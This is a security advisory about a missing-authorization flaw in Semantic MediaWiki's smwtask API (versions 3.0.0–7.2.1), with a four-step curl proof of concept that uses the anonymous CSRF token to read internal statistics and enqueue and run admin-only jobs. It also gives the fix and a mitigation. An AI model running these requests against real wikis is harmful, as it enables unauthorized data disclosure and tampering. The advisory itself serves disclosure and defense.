high · 7.3Sep 18, 2026

Semantic MediaWiki Missing Authorization in smwtask API Module

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any anonymous visitor can call the Semantic MediaWiki smwtask API endpoint to read internal database statistics and trigger admin-only maintenance jobs, because the module never checks whether the…

Packagemediawiki/semantic-media-wiki
Ecosystemcomposer
Affected>= 3.0.0, <= 7.2.1
Fixed in7.3.0

The problem

The action=smwtask API module in Semantic MediaWiki 3.0.0 through 7.2.1 performs no authorization check before executing tasks.

The web UI equivalent, Special:SMWAdmin, gates access with the smw-admin right. The API module bypasses that entirely. needsToken('csrf') is not a substitute: MediaWiki hands anonymous users a fixed public CSRF token (+\), so the token check is trivially satisfied by any unauthenticated HTTP request.

Exposed tasks include table-statistics and duplicate-lookup (internal store statistics, object-ID enumeration), insert-job (enqueue any SMW maintenance job for any title), and run-joblist (pop and execute queued jobs synchronously inside the request). The insert-job + smw.entityIdDisposer combination can target specific internal object IDs disclosed by the read tasks, reaching data-integrity impact beyond mere information disclosure.

Proof of concept

A working proof-of-concept for this issue in mediawiki/semantic-media-wiki, with the exact payload below.

bash
# Step 1: grab the anonymous CSRF token (always "+\"").
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# Step 2: read internal database statistics — no login, HTTP 200 + data.
curl -s -X POST 'https://HOST/api.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...}}}}

# Step 3: enqueue an admin-only maintenance job (state-changing).
curl -s -X POST 'https://HOST/api.php' \
  --data-urlencode 'action=smwtask' \
  --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' \
  --data-urlencode 'format=json'
# -> {"task":{"done":""}}

# Step 4: execute queued jobs synchronously inside this anonymous request.
curl -s -X POST 'https://HOST/api.php' \
  --data-urlencode 'action=smwtask' \
  --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' \
  --data-urlencode 'format=json'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Root cause is CWE-862 (Missing Authorization): SMW\MediaWiki\Api\Task::execute() in src/MediaWiki/Api/Task.php resolved and ran tasks with no call to checkUserRightsAny() or any equivalent guard.

The fix (shipped in 7.3.0) adds a per-task rights declaration. The module reads that declared right and calls checkUserRightsAny() before dispatching. Administrative tasks now require smw-admin, insert-job and update require edit, and run-entity-examiner requires read.

Any caller without the necessary right receives a MediaWiki API permissions error before the task runs.

The anonymous CSRF token (+\) was never a security gate: MediaWiki issues it to all unauthenticated callers by design, as a defense against CSRF for logged-in users only. Relying on it for authorization is a known anti-pattern in MediaWiki extension development.

The fix

Upgrade to Semantic MediaWiki 7.3.0 or later. If you cannot upgrade immediately, disable the endpoint entirely by adding the following to LocalSettings.php:

``php $wgExtensionFunctions[] = static function () { unset( $GLOBALS['wgAPIModules']['smwtask'] ); }; ` This removes the module from the API registry so requests to action=smwtask` return an unknown-action error.

Reporter not attributed.

References: [1][2][3]

Related research